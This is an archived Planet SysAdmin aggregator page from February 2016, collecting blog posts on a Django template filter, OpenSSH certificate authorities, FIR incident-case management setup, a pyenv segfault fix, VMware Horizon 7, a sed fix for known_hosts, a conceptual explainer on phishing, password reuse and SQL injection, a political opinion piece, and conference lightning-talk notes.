Planet SysAdmin

February 12, 2016

Everything Sysadmin

WebCast on how to "Fail Better": Friday, Feb 26

I'll be giving a talk "Fail Better: Radical Ideas from the Practice of Cloud Computing" as part of the ACM Learning Series at at 2pm EST on Friday, February 26, 2016. Pre-registration is required.

In this talk I explain 3 of the most important points from our newest book, The Practice of Cloud System Administration. The talk applies to everyone, whether or not you are "in the cloud".

"See" you there!

February 12, 2016 03:00 PM

Chris Siebenmann

Adding a new template filter in Django 1.9, and a template tag annoyance

As the result of my discovery about Django's timesince introducing nonbreaking spaces, I wanted to fix this. Fixing this requires coding up a new template filter and then wiring it into Django, which took me a little bit of flailing around. I specifically picked Django 1.9 as my target, because 1.9 supports making your new template filters and tags available by default without a '{% load ... %}' statement and this matters to us.

When you are load'ing new template widgets, your files have to go in a specific and somewhat annoying place in your Django app. Since I wasn't doing this, I was free to shove my code into a normal .py file. My minimal filter is:

from django import template
from django.template.defaultfilters import stringfilter

register = template.Library()

def denonbreak(value):
   """Replace non-breaking spaces with plain spaces."""
   return value.replace(u"\xa0", u" ")

The resulting filter is called denonbreak. Although the documentation doesn't say so explicitly, you are specifically handed a Unicode string and so interacting with it using plain strings may not be reliable (or work at all). I suppose this is not surprising (and people using Python 3 expect that anyways).

To add your filter(s) and tag(s) as builtins, you make use of a new Django 1.9 feature in the normal template backend when setting things up in This is easiest to show:

    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'OPTIONS': {
       'builtins': ['accounts.tmplfilters'],

(Do not get diverted to 'libraries'; it is for something else.)

At this point you might ask why I care about not needing to {% load %} my filter. The answer is one of the features of Django templates, which is that there is no good way to suppress newlines at the end of template directives.

Suppose you have a template where you want to use your new tag:

{% load something %}
The following pending account requests haven't been
handled for at least {{cutoff|timesince|denonbreak}}:

Django will remove the {% load %}, but it won't remove the newline after it. Thus your rendered template will wind up starting with a blank line. In HTML this is no problem; surplus blank lines silently disappear when the browser renders the page. But in plain text it's another story, because now that newline is sticking around, clearly visible and often ugly. To fix it you must stick the {% load %} at the start of the first real line of text, which looks ugly in the actual template.

({% if %} is another template tag that will bite you in plaintext because of this. Basically any structuring tag will. I really wish Django had an option to suppress the trailing newline in these cases, but as far as I know it doesn't.)

This issue is why I was willing to jump to Django 1.9 and use the 'builtins' feature, despite what everyone generally says about making custom things be builtins. I just hate what happens to plaintext templates otherwise. Ours are ugly enough as it is because of other tags with this issue.

by cks at February 12, 2016 06:20 AM

February 11, 2016

Errata Security

Nothing says "establishment" as Vox's attack on Trump

I keep seeing this Ezra Klein Vox article attacking Donald Trump. It's wrong in every way something can be wrong. Trump is an easy target, but the Vox piece has almost no substance.

Yes, it's true that Trump proposes several unreasonable policies, such as banning Muslims from coming into this country. I'll be the first to chime in and call Trump a racist, Nazi bastard for these things.

But I'm not sure the other candidates are any better. Sure, they aren't Nazis, but their politics are just as full of hate and impracticality. For example, Hillary wants to force Silicon Valley into censoring content, brushing aside complaints from those people overly concerned with "freedom of speech". No candidate, not even Trump, is as radical as Bernie Sanders, who would dramatically reshape the economy. Trump hates Mexican works inside our country, Bernie hates Mexican workers in their own countries, championing punishing trade restrictions.

Most of substantive criticisms Vox gives Trump also applies to Bernie. For example, Vox says:
His view of the economy is entirely zero-sum — for Americans to win, others must lose. ... His message isn't so much that he'll help you as he'll hurt them... 
That's Bernie's view of the economy as well. He imagines that economy is a zero-sum game, and that for the 1% rich to prosper, they must take from the 99% of everyone else. Bernie's entire message rests on punishing the 1% for the sin of being rich.

It's the basis of all demagoguery that you find some enemy to blame. Trump's enemies are foreigners, whereas Bernie's enemies are those of the wrong class. Trump is one step in the direction of the horrors of the Nazi Holocaust. Bernie is one step in the direction of the horrors of old-style Soviet and Red Chinese totalitarian states.

About Trump's dishonesty, Vox says:
He lies so constantly and so fluently that it's hard to know if he even realizes he's lying.
Not true. Trump just lies badly. He's not the standard slick politician, who lie so fluently that we don't even realize they are lying. Whether we find a politician's lying to be objectionable isn't based on any principle except whether that politician is on our side.

I gave $10 to all 23 presidential candidates, and get a constant stream of emails from the candidates pumping for more money. They all sound the same, regardless of political party, as if they all read the same book "How To Run A Presidential Campaign". For example, before New Years, they all sent essentially the same message "Help us meet this important deadline!", as if the end of the year is some important fund-raising deadline that must be met. It isn't, that's a lie, but such a fluent one that you can't precisely identify it as a lie. If I were to judge candidate honesty, based on donor e-mails, Bernie would be near the top on honesty, and Hillary would be near the bottom, with Trump unexceptionally in the middle.

Vox's biggest problem is that their attack focuses on Trump's style more than substance. It's a well-known logical fallacy that serious people avoid. Style is irrelevant. Trump's substance provides us enough fodder to attack him, we don't need to stoop to this low level. The Vox piece is great creative fiction about how nasty Trump is, missing only the standard dig about his hair, but there's no details as to exactly why Trump's policies are bad, such as the impractical cost of building a 2000 mile long wall between us and Mexico, or the necessity of suspending the 6th Amendment right to "due process" when deporting 20 million immigrants.

Vox's complaint about Trump's style is mostly that he doesn't obey the mainstream media. All politicians misspeak. There's no way to spend that many hours a day talking to the public without making the most egregious of mistakes. The mainstream media has a way of dealing with this, forcing the politician to grovel. They resent how Trump just ignores the problem and barrels on to the next thing. That the press can't make his mistakes stick makes them very upset.

Imagine a situation where more than half the country believes in an idea, but nobody stands up and publicly acknowledges this. That's a symptom of repressed speech. You'd think that the only suppressor of speech is the government, but that's not true. The mainstream media is part of the establishment, and they regularly suppress speech they don't like.

I point this out because half the country, both Democrats and Republicans, support Trump's idea of preventing Muslims from coming into our country. Sure, it's both logically stupid and evilly racist, but that doesn't matter, half the country supports it. Yet, nobody admits supporting the idea publicly, because as soon as they do, they'll be punished by the mass media.

Thus, the idea continues to fester, because it can't openly be debated. People continue to believe in this bad idea because they are unpersuaded by the ad hominem that "you are such a racist". The bedrock principle of journalism is that there are two sides to every debate. When half the country believes in a wrong idea, we have to accept that they are all probably reasonable people, and that we can change their minds if we honestly engage them in debate.

This sounds like I'm repeating the "media bias" trope, which politicians like Trump use to deflect even fair media coverage they happen not to like. But it's not left-wing bias that is the problem here.

Instead, it's that the media has become part of the establishment, with their own seat of power. Ezra Klein's biggest achievement before Vox was JournoList, designed to help the established press wield their power at the top of the media hierarchy. Ezra Klein is the quintessential press insider. His post attacking Trump is just a typical example of how insiders attack outsiders who don't conform. Yes, Trump deserves criticism, but based upon substance -- not because he challenges how the press establishment has defined how politics should work in America.

by Robert Graham ( at February 11, 2016 10:59 PM

Everything Sysadmin

How SysAdmins Devalue Themselves

I write a 3-times-a-year column in ACM Queue Magazine. This issue I cover 2 unrelated topics. "How Sysadmins Devalue Themselves" and "And how to track on-call coverage". Enjoy!

Q: Dear Tom, How can I devalue my work? Lately I've felt like everyone appreciates me, and, in fact, I'm overpaid and underutilized. Could you help me devalue myself at work?

A: Dear Reader, Absolutely! I know what a pain it is to lug home those big paychecks. It's so distracting to have people constantly patting you on the back. Ouch! Plus, popularity leads to dates with famous musicians and movie stars. (Just ask someone like Taylor Swift or Leonardo DiCaprio.) Who wants that kind of distraction when there's a perfectly good video game to be played?

Here are some time-tested techniques that everyone should know.

Click here to read the entire article...

Note: This article can be viewed for free, however I encourage you to subscribe to ACM Queue Magazine. ACM members can access it online for fee, or a small fee gets you access to it online or via an app.

February 11, 2016 03:00 PM

Chris Siebenmann

My current views on using OpenSSH with CA-based host and user authentication

Recent versions of OpenSSH have support for doing host and user authentication via a local CA. Instead of directly listing trusted public keys, you configure a CA and then trust anything signed by the CA. This is explained tersely primarily in the ssh-keygen manpage and at somewhat more length in articles like How to Harden SSH with Identities and Certificates (via, via a comment by Patrick here). As you might guess, I have some opinions on this.

I'm fine with using CA certs to authenticate hosts to users (especially if OpenSSH still saves the host key to your known_hosts, which I haven't tested), because the practical alternative is no initial authentication of hosts at all. Almost no one verifies the SSH keys of new hosts that they're connecting to, so signing host keys and then trusting the CA gives you extra security even in the face of the fundamental problem with the basic CA model.

I very much disagree with using CA certs to sign user keypairs and authenticate users system-wide because it has the weakness of the basic CA model, namely you lose the ability to know what you're trusting. What keys have access? Well, any signed by this CA cert with the right attributes. What are those? Well, you don't know for sure that you know all of them. This is completely different from explicit lists of keys, where you know exactly what you're trusting (although you may not know who has access to those keys).

Using CA certs to sign user keypairs is generally put forward as a solution to the problem of distributing and updating explicit lists of them. However this problem already has any number of solutions, for example using sshd's AuthorizedKeysCommand to query a LDAP directory (see eg this serverfault question). If you're worried about the LDAP server going down, there are workarounds for that. It's difficult for me to come up with an environment where some solution like this isn't feasible, and such solutions retain the advantage that you always have full control over what identities are trusted and you can reliably audit this.

(I would not use CA-signed host keys as part of host-based authentication with /etc/shosts.equiv. It suffers from exactly the same problem as CA-signed user keys; you can never be completely sure what you're trusting.)

Although it is not mentioned much or well documented, you can apparently set up a personal CA for authentication via a cert-authority line in your authorized_keys. I think that this is worse than simply having normal keys listed, but it is at least less damaging than doing it system-wide and you can make an argument that this enables useful security things like frequent key rollover, limited-scope keys, and safer use of keys on potentially exposed devices. If you're doing these, maybe the security improvements are worth being exposed to the CA key-issue risk.

(The idea is that you would keep your personal CA key more or less offline; periodically you would sign a new moderate-duration encrypted keypair and transport them to your online devices via eg a USB memory stick. Restricted-scope keys would be done with special -n arguments to ssh-keygen and then appropriate principals= requirements in your authorized_keys on the restricted systems. There are a bunch of tricks you could play here.)

Sidebar: A CA restriction feature I wish OpenSSH had

It would make me happier with CA signing if you could set limits on the duration of (signed) keys that you'd accept. As it stands right now, it is only ssh-keysign with the CA that enforces any expiry on signed keys; if you can persuade the CA to sign with a key-validity period of ten years, well, you've got a key that's good for ten years unless it gets detected and revoked. It would be better if the consumer of the signed key could say 'I will only accept signatures with a maximum validity period of X weeks', 'I will only accept signatures with a start time after Y', and so on. All of these would act to somewhat limit the damage from a one-time CA key issue, whether or not you detected it.

by cks at February 11, 2016 06:08 AM

Errata Security

Hackers aren't smart -- people are stupid

The cliche is that hackers are geniuses. That's not true, hackers are generally stupid.

The top three hacking problems for the last 10 years are "phishing", "password reuse", and "SQL injection". These problems are extremely simple, as measured by the fact that teenagers are able to exploit them. Yet they persist because, unless someone is interested in hacking, they are unable to learn them. They ignore important details. They fail at grasping the core concept.


Phishing happens because the hacker forges email from someone you know and trust, such as your bank. It appears nearly indistinguishable from real email that your bank might send. To be fair, good phishing attacks can fool even the experts.

But when read advice from "experts", it's often phrased as "Don't open emails from people you don't know". No, no, no. The problem is that emails appear to come from people you do trust. This advice demonstrates a lack of understanding of the core concept.

What's going on here is human instinct. We naturally distrust strangers, and we teach our children to distrust strangers.Therefore, this advice is wired into our brains. Whatever advice we hear from experts, we are likely to translate it into "don't trust strangers" anyway.

We have a second instinct of giving advice. We want to tell people "just do this one thing", wrapping up the problem in one nice package.

But these instincts war with the core concept, "phishing emails appear to come from those you trust". Thus, average users continue to open emails with reckless abandon, because the core concept never gets through.

Password reuse

Similarly there is today's gem from the Sydney Morning Herald:

When you create accounts on major websites, they frequently require you to "choose 8 letters with upper case, number, and symbol". Therefore, you assume this is some sort of general security advice to protect your account. It's not, not really. Instead, it's a technical detail related to a second layer of defense. In the unlikely event that hackers break into the website, they'll be able able to get the encrypted version of everyone's password. They use password crackers to guess passwords at a rate of a billion-per-second. Easily guessed passwords will get cracked in a fraction of a second, but hard to guess passwords are essentially uncrackable. But it's a detail that only matters once the website has already been hacked.

The real problem with passwords is password reuse. People use the same password for unimportant websites, like, as they use for important sites, like or their email. Simple hobbyist sites are easily hacked, allowing hackers to download all the email addresses and passwords. Hackers then run tools to automate trying out that combination on sites like Amazon, Gmail, and banks, hoping for a match.

Therefore, the correct advice is "don't reuse passwords on important accounts", such as your business accounts and email account (remember: your email account can reset any other password). In other words, the correct advice is the very opposite what the Sydney Morning Herald suggested.

The problem here is human nature. We see this requirement ("upper-case and number/symbol") a lot, so we gravitate toward that. It also appeals to our sense of justice, as if people deserve to get hacked for the moral weakness of choosing simple passwords. Thus, we gravitate toward this issue. At the same time, we ignore password reuse, because it's more subtle.

Thus we get bad advice from "experts" like the Sydney Morning Herald, advising people to do the very opposite of what they should be doing. This article was passed around a lot today in the cybersec community. We all had a good laugh.

SQL injection

SQL injection is not an issue for users, but for programmers. However, it shares the same problem that it's extremely simple, yet human nature prevents it from being solved.

Most websites are built the same way, with a web server front-end, and a database back-end. The web server takes user interactions with the site and converts them into a database query. What you do with a website is data, but the database query is code. Normally, data and code are unrelated and never get mixed up. However, since the website generates code based on data, it's easy to confuse the two.

What SQL injection is that the user (the hacker) sends data to a website frontend that actually contains code that causes the backend to do something. That something can be to dump all the credit card numbers, or create an account that allows the hacker to break in.

In other words, SQL injection is when websites fail to understand the differences between these two sentences:

  • Susie said "you owe me $10".
  • Susie said you owe me $10.

It's best illustrated in the following comic:

The core concept is rather easy: don't mix code with data, or as the comic phrases it "sanitize your database inputs". Yet the problem persists because programmers fail to grasp the core concept.

The reason is largely that professors fail to understand the core concept. SQL injection has been the most popular hacker attack for more than a decade, but most professors are even older than that. Thus, they continue to teach website design ignoring this problem. The textbooks they use don't eve mention it.


These are the three most common hacker exploits on the Internet. Teenagers interested in hack learn how to exploit them within a few hours. Yet, the continue to be unsolved because if you aren't interested in the issues, you fail to grasp the core concept. The concept "phishing comes from people you know" to "don't trust emails from strangers". The core concept of hackers exploiting password reuse becomes "choose strong passwords". The core concept of mixing code with data simply gets ignored by programmers.

And the problem here isn't just the average person unwilling or unable to grasp the core concept. Instead, confusion is aided by people who are supposed to be trustworthy, like the Sydney Morning Herald, or your college professor.

I know it's condescending and rude to point out that "hacking happens because people are stupid", but that's really the problem. I don't know how to point this out in a less rude manner. That's why most hacking persists.

by Robert Graham ( at February 11, 2016 05:35 AM

February 10, 2016

Everything Sysadmin

A feast of analogies

A few years ago a coworker noticed that all my analogies seemed to involve food. He asked if this was intentional.

I explained to him that my analogies contain many unique layers, but if you pay attention you'll see a lot of repetition... like a lasagna.

By the way...

I've scheduled this blog post to appear on the morning of Wednesday, Feb 10. At that time I'll be getting gum surgery. As part of recovery I won't be able to bite into any food for 4-6 months. I'll have to chew with my back teeth only.

Remember, folks, brushing and flossing is important. Don't ignore your teeth. You'll regret it later.

February 10, 2016 03:30 PM

Chris Siebenmann

The fundamental practical problem with the Certificate Authority model

Let's start with my tweet:

This is my sad face when people sing the praises of SSH certificates and a SSH CA as a replacement for personal SSH keypairs.

There is nothing in specific wrong with the OpenSSH CA model. Instead it simply has the fundamental problem of the basic CA model.

The basic Certificate Authority model is straightforward: you have a CA, it signs things, and you accept that the CA's signature on those things is by itself an authorization. TLS is the most widely known protocol with CAs, but as we see here the CA model is used elsewhere as well. This is because it's an attractive model, since it means you can distribute a single trusted object instead of many of them (such as TLS certificates or SSH personal public keys).

The fundamental weakness of the CA model in practice is that keeping the basic CA model secure requires that you have perfect knowledge of all keys issued. This is provably false in the case of breaches; in the case of TLS CAs, we have repeatedly seen CAs that do not know all the certificates they mis-issued. Let me repeat that louder:

The fundamental security requirement of the basic CA model is false in practice.

In general, at the limits, you don't know all of the certificates that your CA system has signed nor do you know whether any unauthorized certificates exist. Any belief otherwise is merely mostly or usually true.

Making a secure system that uses the CA model means dealing with this. Since TLS is the best developed and most attacked CA-based protocol, it's no surprise that it has confronted this problem straight on in the form of OCSP. Simplified, OCSP creates an additional affirmative check that the CA actually knows about a particular certificate being used. You can argue about whether or not it's a good idea for the web and it does have some issues, but it undeniably deals with the fundamental problem; a certificate that's unknown to the CA can be made to fail.

Any serious CA based system needs to either deal with this fundamental practical problem or be able to explain why it is not a significant security exposure in the system's particular environment. Far too many of them ignore it instead and opt to just handwave the issue and assume that you have perfect knowledge of all of the certificates your CA system has signed.

(Some people say 'we will keep our CA safe'. No you won't. TLS CAs have at least ten times your budget for this and know that failure is a organization-ending risk, and they still fail.)

(I last wrote about this broad issue back in 2011, but I feel the need to bang the drum some more and spell things out more strongly this time around. And this time around SSL/TLS CAs actually have a relatively real fix in OCSP.)

Sidebar: Why after the fact revocation is no fix

One not uncommon answer is 'we'll capture the identifiers of all certificates that get used and when we detect a bad one, we'll revoke it'. The problem with this is that it is fundamentally reactive; by the time you see the identifier of a new bad certificate, the attacker has already been able to use it at least once. After all, until you see the certificate, identify it as bad, and revoke it, the system trusts it.

by cks at February 10, 2016 07:13 AM

toolsmith #113: DFIR case management with FIR

#NousSommesUnis #ViveLaFrance

Bonjour! This month we'll explore Fast Incident Response, or FIR, from CERT Societe Generale, the team responsible for providing information security incident handling and response to cybercrime issues targeting  for Societe Generale. If you're developing a CERT or incident management team but haven't yet allocated budget for commercial case management tooling such as DFLabs Incman NG or CO3/Resilient (not endorsements), FIR is an immediate solution for your consideration. It's a nice quick, easy to deploy fit for any DFIR team in my opinion. It's built on Django (also one of my favorite movies), the Python Web framework, and leverages virtualenv, a tool to create isolated Python environments.
From their own README: "FIR (Fast Incident Response) is an cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents.
FIR is for anyone needing to track cybersecurity incidents (CSIRTs, CERTs, SOCs, etc.). It's was tailored to suit our needs and our team's habits, but we put a great deal of effort into making it as generic as possible before releasing it so that other teams around the world may also use it and customize it as they see fit."
I had a quick chat with Gael Muller who said that the story about why they created and open-sourced FIR is on their blog, and that one year later, they do not regret their choice to do the extra work in order to make it FIR generic and release it to the public. "It seems there are plenty of people using and loving it, and we received several contributions, so I guess this is a win/win situation."
FIR offers a production and development environment, I tested the development version as I ran it from my trusty Ubuntu 14.04 LTS VM test instance.
Installation is easy, follow this abridged course of action as pulled from FIR's Setting up a development environment guidance:
  1. sudo apt-get update
  2. sudo apt-get install python-dev python-pip python-lxml git libxml2-dev libxslt1-dev libz-dev
  3. sudo pip install virtualenv
  4. virtualenv env-FIR
  5. source env-FIR/bin/activate
  6. git clone
  7. cd FIR
  8. pip install -r requirements.txt
  9. cp fir/config/installed_apps.txt.sample fir/config/installed_apps.txt (enables the Plugins)
  10. ./ migrate
  11. ./ loaddata incidents/fixtures/seed_data.json
  12. ./ loaddata incidents/fixtures/dev_users.json
  13. ./ runserver
If not in Paris (#jesuisParis), you'll want to change the timezone for your location of operation, default is Europe/Paris. Make the change in /FIR/for/config/, I converted to America/Los_Angeles as seen in Figure 1.
Figure 1
Control-C then re-run./ runserver after you update
As you begin to explore the FIR UI you can login as admin/admin or dev/dev, I worked from the admin account (change the password if exposed to any active networks). You'll likely want to make some changes to create a test bed that is more relevant to your workflows and business requirements. To do so click Admin in the upper right-hand corner of the UI, it's a hyperlink to as seen in Figure 2.

Figure 2
This is one incredibly flexible, highly configurable, user friendly and intuitive application. You'll find that the demo configuration options are just that, take the time to tune them to what makes sense for your DFIR and security incident management processes. I created test workflows imaging this instance of FIR was dedicated to CERT activities for a consortium of hospitals, we'll call it Holistic Hospital Alliance. I first modified Business Lines to better align with such a workload. Figure 3 exhibits these options.

Figure 3: Business Lines
Given that we're imagining response in a medical business scenario, I updated Incident Categories to include IoT and Medical Devices as seen in Figure 4. At teams these are arguably one and the same but imagine all the connected devices now or in the future in a hospital that may not be specifically medical devices.

Figure 4: Incident Categories
I also translated (well, I didn't, a search engine did) the French Bale Categories to English (glad to share), as seen in Figure 5.
Figure 5: Bale Categories
The initial Bale Categories are one of the only feature that remains that is specific to CERT Societe Generale. The categories provide correspondence between the incident categories they use every day, and the categories mentioned in the Basel III regulation. As a CERT for financials, they need to be able to report stats using these categories. According to Gael, most people do not use these or even know they exist, as it is only visible in the "Major Incidents" statistics view. Gael thinks it is better if people ignore this as these as they are not very useful for most users.

Now to create a few cases and enjoy the resulting dashboard. I added four events, three of which were incidents, including a Sev 3 malware incident (in FIR a Sev 4 is the highest severtity), a Sev 4 stolen credit card data incident, a Sev 2 vulnerable ICU machine incident, and a Sev 1 vulnerability scanning event as we see in Figure 6.

Figure 6: Dashboard

Numerous editing options await you, including the ability to define you plan of action and incident confidentiality levels, and granularity per unique incident handler (production version). And I'll bet about now you're saying "But Russ! What about reporting?" Aye, that's what the Stats page offers, yearly, quarterly, major incidents and annual comparisons, ready to go. Figure 7 tells the tale.

Figure 7: Stats
You will enjoy FIR, I promise, its easy to use, well conceived, simple to implement, and as free DFIR case management systems go, you really can't ask for more. Give a go for sure, and if so possessed, contribute to the FIR project. Vive la FIR et bien fait CERT Societe Generale! Merci, Gael Muller.
Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

by Russ McRee ( at February 10, 2016 01:03 AM

February 09, 2016

Racker Hacker

Segmentation faults with sphinx and pyenv

I’m a big fan of the pyenv project because it makes installing multiple python versions a simple process. However, I kept stumbling into a segmentation fault whenever I tried to build documentation with sphinx in Python 2.7.11:

writing output... [100%] unreleased
[app] emitting event: 'doctree-resolved'(<document: <section "current series release notes"...>>, u'unreleased')
[app] emitting event: 'html-page-context'(u'unreleased', 'page.html', {'file_suffix': '.html', 'has_source': True, 'show_sphinx': True, 'last
generating indices... genindex[app] emitting event: 'html-page-context'('genindex', 'genindex.html', {'pathto': <function pathto at 0x7f4279d51230>, 'file_suffix': '.html'
Segmentation fault (core dumped)

I tried a few different versions of sphinx, but the segmentation fault persisted. I did a quick reinstallation of Python 2.7.11 in the hopes that a system update of gcc/glibc was causing the problem:

pyenv install 2.7.11

The same segmentation fault showed up again. After a ton of Google searching, I found that the --enable-shared option allows pyenv to use shared Python libraries at compile time:

env PYTHON_CONFIGURE_OPTS="--enable-shared CC=clang" pyenv install -vk 2.7.11

That worked! I’m now able to run sphinx without segmentation faults.

The post Segmentation faults with sphinx and pyenv appeared first on

by Major Hayden at February 09, 2016 02:09 PM

Sean's IT Blog

What’s New – Horizon 7.0

(Edit: Updated to include a Blast Extreme feature I missed.)

Last week, VMware announced App Volumes 3.0.  It was a taste of the bigger announcements to come in today’s Digital Enterprise event.  And they have a huge announcement.  Just a few short months after unveiling Horizon 6.2, VMware has managed to put together another major Horizon release.  Horizon 7.0 brings some significant enhancements and new features to the end-user computing space, including one long awaiting feature.

Before I talk about the new features, I highly recommend that you register for VMware’s Digital Enterprise event if you have not done so yet.  They will be covering a lot of the features of the new Horizon Suite offerings in the webinar.  You can register are

So without further ado, let’s talk about Horizon 7’s new features.

Instant Clones

Instant Clones were debutted during the Day 2 Keynote at VMworld 2014.  After receiving a lot of hype as the future of desktop provisioning, they kind of faded into the background for a while.  I’m pleased to announce that Horizon 7 will feature Instant Clones as a new desktop provisioning method.

Instant Clones utilize VMware’s vmFork technology to rapidly provision desktop virtual machines from a running and quiesced parent virtual desktop.  Instant clones share both the memory and the disk of the parent virtual machine, and this technology can provide customized and domain joined desktops quickly as they are needed.  These desktops are destroyed when the user logs off, and if a new desktop is needed, it will be cloned from the parent when requested by a user.  Instant clones also enable administrators to create elastic pools that can expand or shrink the number of available desktops based on demand.

Although they might not be suited for all use cases, there are a couple of benefits to using instant clones over linked clones.  These are:

  • Faster provisioning – Instant Clones provision in seconds compared to minutes for linked clones
  • No Boot Storms – The parent desktop is powered on, and all instant clones are created in a powered-on state
  • Simplified Administration – No need to perform refresh or recompose operations to maintain desktops.
  • No need to use View Composer

Although instant clones were not available as a feature in Horizon 6.2, it was possible to test out some of the concepts behind the technology using the PowerCLI extensions fling.  Although I can’t validate all of the points above, my experiences after playing with the fling show that provisioning is significantly faster and boot storms are avoided.

There are some limitations to instant clones in this release.  These limitations may preclude them from being used in some environments today.  These limitations are:

  • RDSH servers are not currently supported
  • Floating desktop pools only.  No support for dedicated assignment pools.
  • 2000 desktops maximum
  • Single vCenter and single vLAN only
  • Limited 3D support – no support for vGPU or vDGA, limited support for sVGA.
  • VSAN or VMFS datastores only.  NFS is not supported.

Desktop personalization for instant clones is handled using App Volumes User Writable drives and UEM.

Blast Extreme

VMware introduced HTML5 desktop access using the Blast protocol in Horizon 5.2 back in 2013.  This provided another method for accessing virtual desktops and, later, published applications.  But it had a few deficiencies as well – it used port 8443, was feature limited compared to PCoIP, and was not very bandwidth efficient.

The latest version of Horizon adds a new protocol for desktop access – Blast Extreme.  Blast Extreme is a new protocol that is built to provide better multimedia experiences while using less bandwidth to deliver the content.  It is optimized for mobile devices and can provide better battery life compared to the existing Horizon protocols.


Most importantly, Blast Extreme has feature parity with PCoIP.  It supports all of the options and features available today including client drive redirection, USB, unified communications, and local printing.

Unlike the original Blast, Blast Extreme is not strictly a web-only protocol.  It can be used with the new Windows, MacOS, Linux and mobile device clients, and it works over port the standard HTTPS port.  This simplifies access and allows users to access it in many locations where ports 8443 and 8172 are blocked.

Blast Extreme is a dual-stack protocol.  That means that it will work over both TCP and UDP.  UDP is the preferred communications method, but if that is not available, it will fall back to TCP-based connections.

Smart Policies

What if your use case calls for disabling copy and paste or local printing when uses log in from home?  Or what if you want to apply a different PCoIP profile based on the branch office users are connecting to?  In previous versions of Horizon, this would require a different pool for each use case with configurations handled either in the base image or Group Policy.  This could be cumbersome to set up and administer.

Horizon 7 introduces Smart Policies.  Smart policies utilize the UEM console to create a set of policies to control the desktop behavior based on a number of factors including the groups that the user is a member of and location, and they are evaluated and applied whenever a user logs in or reconnects.  Smart policies can control a number of capabilities of the desktop including client drive redirection, Clipboard redirection, and printing, and they can also control or restrict which applications can be run.

Enhanced 3D Support

Horizon 6.1 introduced vGPU and improved the support for workloads that require 3D acceleration.  vGPU is limited, however, to NVIDIA GRID GPUs.

Horizon 7 includes expanded support for 3D graphics acceleration, and customers are no longer restricted to NVIDIA.  AMD S7150 series cards are supported in a multi-user vDGA configuration that appears to be very similar to vGPU.  Intel Iris Pro GPUs are also supported for vDGA on a 1:1 basis.

Cloud Pod Architecture

Cloud Pod Architecture has been expanded to support 10 Horizon pods in four sites.  This enables up to 50,000 user sessions.

Entitlement support has also been expanded – home site assignment can be set for nested AD security groups.

Other enhancements include improved failover support to automatically redirect users to available resources in other sites if they are not available in the preferred site and full integration with vIDM.

Other Enhancements

Other enhancements in Horizon 7 include:

  • Unified Management Console for App Volumes, UEM, and monitoring.  The new management console also includes a REST API to support automating management tasks.
  • A new SSO service that integrates vIDM, Horizon, Active Directory, and a certificate authority.
  • Improvements to the Access Point appliance.
  • Improved printer performance
  • Scanner and Serial redirection support for Windows 10
  • URL Content redirection
  • Flash Redirection (Tech Preview)
  • Scaled Resolution for Windows Clients with high DPI displays
  • HTML Access 4.0 – Supports Linux, Safari on IOS, and F5 APM


Horizon 7 provides another leap in Horizon’s capabilities, and VMware continues to reach parity or exceed the feature sets of their competition.

by seanpmassey at February 09, 2016 01:15 PM

February 08, 2016


Removing a Single Line from known_hosts With sed

OpenSSH logo -left Ever so often, something changes on the network, and you find that your .ssh/known_hosts file has gotten out of date. Usually this happens after an upgrade or device change. You'll get the rather ominous warning that REMOTE HOST IDENTIFICATION HAS CHANGED!

If you are confident that someone isn't doing something nasty and the RSA key fingerprint on the other side has legitimately changed, you can safely remove the offending key and the new key will be added the next time you connect. Fortunately, this is easily done with a sed one-liner:

$ sed -i -e '185d' .ssh/known_hosts

In this case, '185' is the line number that was reported as containing the offending key.

by Scott Hebert at February 08, 2016 02:00 PM

February 06, 2016

Sean's IT Blog

Temporary Post Used For Theme Detection (44e073ab-da3e-4a7c-8e5c-aa210c661d70 – 3bfe001a-32de-4114-a6b4-4005b770f6d7)

This is a temporary post that was not deleted. Please delete this manually. (b314cc09-06db-4857-9a8c-e3d059c53b16 – 3bfe001a-32de-4114-a6b4-4005b770f6d7)

by seanpmassey at February 06, 2016 07:26 PM

Anton Chuvakin - Security Warrior

Errata Security

Twitter has to change

Today, Twitter announced that instead of the normal timeline of newest messages on top, they will prioritize messages they think you'll be interested in. This angers a lot of people, but my guess it's it's something Twitter has to do.

Let me give you an example. Edward @Snowden has 1.4 million followers on Twitter. Yesterday, he retweeted a link to one of my blogposts. You'd think this would've caused a flood of traffic to my blog, but it hasn't. That post still has fewer than 5000 pageviews, and is only the third most popular post on my blog this week. More people come from Reddit and than from Twitter.

I suspect the reason is that the older twitter gets, the more people people follow. (...the more persons each individual Twitter customer will follow). I'm in that boat. If you tweeted something more than 10 minutes since the last time I checked Twitter, I will not have seen it. I read fewer than 5% of what's possible in my timeline. That's something Twitter can actually measure, so they already know it's a problem.

Note that the Internet is littered with websites that were once dominant in their day, but which  failed to change and adapt. Internet oldtimers will remember Slashdot as a good example.

Thus, Twitter has to evolve. There's a good change their attempts will fail, and they'll shoot themselves. On the other hand, not attempting is guaranteed failure.

by Robert Graham ( at February 06, 2016 03:41 AM

February 05, 2016

Simon Lyall 2016 – Friday – Session 3

Lighting talks

  • New Zealand Open Source Society
  • LCA 2015 give-aways of ARM chromebooks
    • Linux on ARM chellenge
    • github/steven-ellis
  • Call to Arms
    • x86 != Linux
    • Please consider other archetectures
  • StackPtr
    • Open Source GPS and MAP sharing
    • Android client and IOS to come
    • Create a group, Add placemaps, Share location with a group
    • Also run OpenStreetmaps tileserver
    •  – Invite code LCA2016
  • Hat Rack
    • code is in githug, but what about everything else?
    • How to ack stuff that isn’t code?
    •    #LABHR
    • Recommend people, especially people not like you
  • Pycon
    • Melbourne 12-16 August
    • DjangoCon Au, Science and Data Miniconf, Python in Education plus more on 1st day
    • CPF open in mid-March
    • Financial assistence programme
  • Kiwi PyCon
    • 2016 in dunedin
    • Town Hall
    • 9-11 September
  • GovHack
    • Have fun
    • Open up the government data
    • 29-31 July across Aus and NZ
  • JMAP: a better way to email
    • Lots of email standards, all aweful
    • $Company API
    • json over https
    • Single API for email/cal/contacts
    • Mobile/battery/network friendly
    • Working now at fastmail
    • Support friendly (only uses http, just one port for everything).
    • Batches commands, uses OOB notification
    • Effecient
    • Upgrade path – JMAP proxy
    •  ,
  • Tools
    • “Devops is just a name for a Sysadmin without any experience”
    • Lets get back to unix principals with tools
  • Machine Learning Demo
  • Filk of technical – Lied about being technical/gadget type.
  • ChaosKey
    • Randomness at 1MB/s
    • Copied from OneRNG
    • 4x4mm QFN package attached to USB key
